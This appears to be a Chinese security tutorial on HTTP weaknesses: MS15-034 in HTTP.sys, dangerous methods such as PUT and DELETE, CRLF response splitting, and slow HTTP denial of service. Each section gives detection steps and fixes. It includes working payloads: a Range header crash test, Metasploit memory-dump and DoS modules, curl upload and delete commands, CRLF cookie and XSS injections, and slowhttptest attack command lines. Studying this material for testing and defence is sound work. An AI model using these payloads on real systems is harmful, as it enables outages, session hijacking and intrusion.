由于一些配置不当或者方法错误，导致HTTP的不安全大概有以下几种：
----------------------------------------------------------
1.HTTP.sys远程代码执行漏洞（MS15-034）
2.不安全的HTTP请求方法
3.HTTP响应拆分漏洞（CRLF注入）
4.HTTP慢速攻击
-----------------------------------------------------------
0x01.HTTP.sys远程代码执行漏洞（MS15-034）
1.HTTP.sys远程代码执行漏洞简介：
在2015年4月安全补丁日，微软发布的众多安全更新中，修复了HTTP.sys中一处允许远程执行代码漏洞，编号为：CVE-2015-1635（MS15-034 ）。利用HTTP.sys的安全漏洞，攻击者只需要发送恶意的http请求数据包，就可能远程读取IIS服务器的内存数据，或使服务器系统蓝屏崩溃。根据公告显示，该漏洞对服务器系统造成了不小的影响，主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
2.如何对该漏洞进行检测与分析
a.首先判断服务器是不是假设在windows服务器上
这里补充说明下，这个漏洞并不是针对IIS，而是针对windows操作系统的，官方说法如下：
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。
成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。若要利用此漏洞，攻击者必须将经特殊设计的 HTTP 请求发送到
受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式，此更新可以修复此漏洞。
那么如何判断远程web服务器是不是windows操作系统呢，这一块有很多判断方法，我这里主要是通过IIS来确定windows服务器的，因为就目前而言，IIS服务器仅存在于windows操作系统中。那么通过burp等软件来获取与web服务器的通信数据，就可以很轻易地进行判别。
也可以使用云悉WEB资产梳理：http://www.yunsee.cn/ 来对网站进行探测
b.利用payload进行测试
其实就是发送web请求包，然后分析web服务器的相应状态
我在本地windows7上搭建IIS环境，IP地址为：192.168.0.106
第一个测试方法通过telnet来实现：
$ telnet 192.168.0.106 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615
第二个测试方法是通过curl命令实现的：
$ curl http://192.168.0.106 -H "Host: 192.168.0.106" -H "Range: bytes=0-18446744073709551615"
如果服务器打上补丁，那么响应状态应该是：
HTTP Error 400. The request has an invalid header name.
如果服务器存在HTTP.sys远程代码执行漏洞，那么响应状态应该是：
HTTP/1.1 416 Requested Range Not Satisfiable
…………
3.HTTP.sys代码执行漏洞危害
a.远程服务器内存读取
这里使用msf来对远程服务器进行内存读取：
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
set rhosts 192.168.0.106
run
b.DDOS漏洞
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.0.106
set threads 10
run
攻击开始后，win7瞬间蓝屏然后自动重启
4.漏洞修复
厂商已在安全公告MS15-034中修复了此安全漏洞。我们建议用户开启自动更新服务以及时安装最新补丁，如果不能进行升级，可通过禁用IIS内核缓存来临时缓解此漏洞的危险，但这可能会导致IIS性能下降，配置方法：
1、打开IIS管理器，然后导航至您要管理的级别。有关如何在UI的各个位置间进行导航的信息，请参阅在IIS管理器中导航。
2、在“功能视图”中，双击“输出缓存”。
3、在“输出缓存”页中的“操作”窗格中，单击“编辑功能设置”。
4、在“编辑输出缓存设置”对话框中，单击“启用内核缓存”以将其选中，然后单击“确定”。
或者下载补丁：KB3042553
参考链接：
http://www.cnblogs.com/peterpan0707007/p/8529261.html
https://blog.csdn.net/wutianxu123/article/details/82819698
0x02 不安全的HTTP请求方法
1.漏洞描述
不安全的HTTP方法一般包括：TRACE、PUT、DELETE、COPY等。其中最常见的为TRACE方法可以回显服务器收到的请求，主要用于测试或诊断，恶意攻击者可以利用该方法进行跨站跟踪攻击(即XST攻击)，从而进行网站钓鱼、盗取管理员cookie等。其他说明方式如下所示：
| 方法 | 解释 |
| PUT | 向指定的目录上传文件 |
| DELETE | 删除指定的资源 |
| COPY | 将指定的资源复制到Destination消息头制定的位置 |
| MOVE | 将指定的资源移动到Destination消息头指定的位置 |
| CONNECT | 客户端使用Web服务器作为代理 |
| PROPFIND | 获取与指定资源有关的信息，如作者、大小与内容类别 |
| TRACE | 在响应中返回服务器收到的原始请求 |
| DEAD | 返回报文的头部 |
| OPTIONS | 客户端询问服务器可以提交哪些请求方法 |
| GET | 获取服务器资源 |
| POST | 传输实体文本 |
众所周知，GET、POST是最为常见方法，而且大部分主流网站只支持这两种方法，因为它们已能满足功能需求。其中，GET方法主要用来获取服务器上的资源，而POST方法是用来向服务器特定URL的资源提交数据。而其它方法出于安全考虑被禁用，所以在实际应用中，九成以上的服务器都不会响应其它方法，并抛出404或405错误提示。以下列举几个HTTP方法的不安全性：
1、OPTIONS方法，将会造成服务器信息暴露，如中间件版本、支持的HTTP方法等。
2、PUT方法，由于PUT方法自身不带验证机制，利用PUT方法即可快捷简单地入侵服务器，上传Webshell或其他恶意文件，从而获取敏感数据或服务器权限。
3、DELETE方法，利用DELETE方法可以删除服务器上特定的资源文件，造成恶意攻击。
2.渗透测试步骤：
1.使用抓包软件抓取数据包
2.拦截数据包，将HTTP方法修改为GET、POST、HEAD、PUT、DELETE、TRACE等
3.分别发送数据包到服务器
4.查看每种HTTP方法的返回结果。如果服务器完全忽略请求或者返回错误，则该项是安全的。如果服务器有其他任何返回，则服务器响应了不必要的方法，是不安全的。注意：GET和POST响应是正常的，其他的不正常
3.测试方法：
curl -v -X OPTIONS http://www.example.com/test/
查看响应的Allow：GET，HEAD，POST，PUT，DELETE，OPTIONS
curl -v -T test.php http://www.example.com/test/test.php
看是否能上载来判断攻击是否有效
curl -X DELETE http://www.example.com/test/test.php
找一个存在的页面，如test.php，如果删除成功，则攻击有效
具体利用方法：
https://www.freebuf.com/articles/web/172695.html
https://blog.csdn.net/wutianxu123/article/details/82634760
0x03 HTTP响应拆分漏洞（CRLF注入）
转载自：https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html
1.漏洞描述
HTTP响应头拆分漏洞(CRLF)是一种新型的web攻击方案，它重新产生了很多安全漏洞包括：
web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。
这项攻击方案包括其衍生的一系列技术产生，是由于web应用程序没有对用户的提交进行严格过滤，导致非法用户可以提交一些恶意字符，更具体来说，是对用户输入的CR和LF字符没有进行严格的过滤。
CRLF是”回车 + 换行”( )的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以，一旦我们能够控制HTTP消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting(HRS)。是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务、缓存或解释的方式，这可能帮助诱骗客户端用户，导致跨站脚本、缓存破坏或页面劫持等漏洞。
2.检测方法
通过web扫描工具进行扫描检测，或者手工判断
手工判断举例：一般会在HTTP头中用 Location:http://baidu.com 这种方式进行302跳转，所以我们能控制的内容就是 Location：后面的XXX网址，如下所示为抓包得到的相关的数据包：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
然后在Location：后手工输入链接，里面注入了一个换行 %0a ：
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
再次抓包得到如下：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接收url参数 http://test.sina.com.cn/?url=XXX ，XXX放在Location后面作为一个跳转，如果输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是这里<img>这个标签就会显示出来，造成一个xss。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
3.修复方案
建议过滤 、 之类的换行符，避免输入的数据污染到其他HTTP头。具体过滤措施，可参考SQL注入的修复方案。
0x04 HTTP慢速攻击
1.漏洞描述：
慢速攻击基于HTTP协议，通过精心的设计和构造，这种特殊的请求包会造成服务器延时，而当服务器负载能力消耗过大即会导致拒绝服务。HTTP协议规定，HTTP Request以
(0d0a0d0a)结尾表示客户端发送结束，服务端开始处理。那么，如果永远不发送
就会产生慢速攻击的漏洞，常见的Slowloris就是利用这一点来做DDoS攻击的。攻击者在HTTP请求头中将Connection设置为Keep-Alive，要求Web Server保持TCP连接不要断开，随后缓慢地每隔几分钟发送一个key-value格式的数据到服务端，如a:b
，导致服务端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者傀儡机来做同样的操作，服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求
，每隔几分钟写入一些无意义的数据流，拖死机器。
慢速HTTP拒绝服务攻击经过不断的演变和发展，主要有三种攻击类型，分别是Slow headers、Slow body、Slow read。以Slow headers为例，Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部，因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点，发起一个HTTP请求，一直不停的发送HTTP头部，消耗服务器的连接和内存资源。抓包数据可见，攻击客户端与服务器建立TCP连接后，每40秒才向服务器发送一个HTTP头部，而Web服务器再没接收到2个连续的 时，会认为客户端没有发送完头部，而持续的等等客户端发送数据。如果恶意攻击者客户端持续建立这样的连接，那么服务器上可用的连接将一点一点被占满，从而导致拒绝服务。这种攻击类型称为慢速HTTP拒绝服务攻击。
2.漏洞原理
是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限，因此若是恶意地占用住这些连接不释放，那么Web Server的所有连接都将被恶意连接占用，从而无法接受新的请求，导致拒绝服务。
要保持住这个连接，RSnake构造了一个畸形的HTTP请求，准确地说，是一个不完整的HTTP请求。
- GET / HTTP/1.1
- HOST：host
- User-Agent：Mozilla/4.0 (compatible；MSIE 7.0；Windows NT 5.1；Trident/4.0；.NET CLR 1.1.4322；.NET CLR 2.0.50313；)
- Content-Length：42
在正常的HTTP包头中，是以两个CLRF表示HTTP Headers部分结束的。
由于Web Server只收到了一个 ，因此将认为HTTP Headers部分没有结束，并保持此连接不释放，继续等待完整的请求。此时客户端再发送任意HTTP头，保持住连接即可。
X-a: b
当构造多个连接后，服务器的连接数很快就会达到上限。
3.测试工具SlowHTTPTest
Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具，设计的基本原理是服务器在请求完全接收后才会进行处理，如果客户端的发送速度缓慢或者发送不完整，服务端为其保留连接资源池占用，大量此类请求并发将导致DoS。
slowloris：完整的http请求是以
结尾，攻击时仅发送
，少发送一个
，服务器认为请求还未发完，就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限，服务器便无法处理其他请求。
slow http post：原理和slowloris有点类似，这次是通过声明一个较大的content-length后，body缓慢发送，导致服务器一直等待
slow read attack：向服务器发送一个正常合法的read请求，请求一个很大的文件，但认为的把TCP滑动窗口设置得很小，服务器就会以滑动窗口的大小切割文件，然后发送。文件长期滞留在内存中，消耗资源。这里有两点要注意：
- tcp窗口设置要比服务器的socket缓存小，这样发送才慢。
- 请求的文件要比服务器的socket缓存大，使得服务器无法一下子将文件放到缓存，然后去处理其他事情，而是必须不停的将文件切割成窗口大小，再放入缓存。同时攻击端一直说自己收不到。
这里给出工具的github地址：https://github.com/shekyan/slowhttptest
git clone https://github.com/shekyan/slowhttptest.git
cd slowhttptest
sudo ./configure
sudo make && make install
一些参数说明：
-g 在测试完成后，以时间戳为名生成一个CVS和HTML文件的统计数据
-H SlowLoris模式
-B Slow POST模式
-R Range Header模式
-X Slow Read模式
-c number of connections 测试时建立的连接数
-d HTTP proxy host:port 为所有连接指定代理
-e HTTP proxy host:port 为探测连接指定代理
-i seconds 在slowrois和Slow POST模式中，指定发送数据间的间隔。
-l seconds 测试维持时间
-n seconds 在Slow Read模式下，指定每次操作的时间间隔。
-o file name 使用-g参数时，可以使用此参数指定输出文件名
-p seconds 指定等待时间来确认DoS攻击已经成功
-r connections per second 每秒连接个数
-s bytes 声明Content-Length header的值
-t HTTP verb 在请求时使用什么操作，默认GET
-u URL 指定目标url
-v level 日志等级（详细度）
-w bytes slow read模式中指定tcp窗口范围下限
-x bytes 在slowloris and Slow POST tests模式中，指定发送的最大数据长度
-y bytes slow read模式中指定tcp窗口范围上限
-z bytes 在每次的read()中，从buffer中读取数据量
slowloris模式：
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3
slow post模式：
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3
slow read模式：
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3
4.修复方案
目前在应用层没有特别好的修复方式，但可以通过部署web防火墙或者入侵防御检测系统来降低该风险：
1、如果是同一IP，在防火墙策略中把IP封掉。
2、加长连接超时时间、出错时重新连接等手法。
参考链接：
https://blog.csdn.net/qinyushuang/article/details/43274383
https://www.cnblogs.com/daoyi/p/SlowHTTPTestman-suDoS-gong-ji.html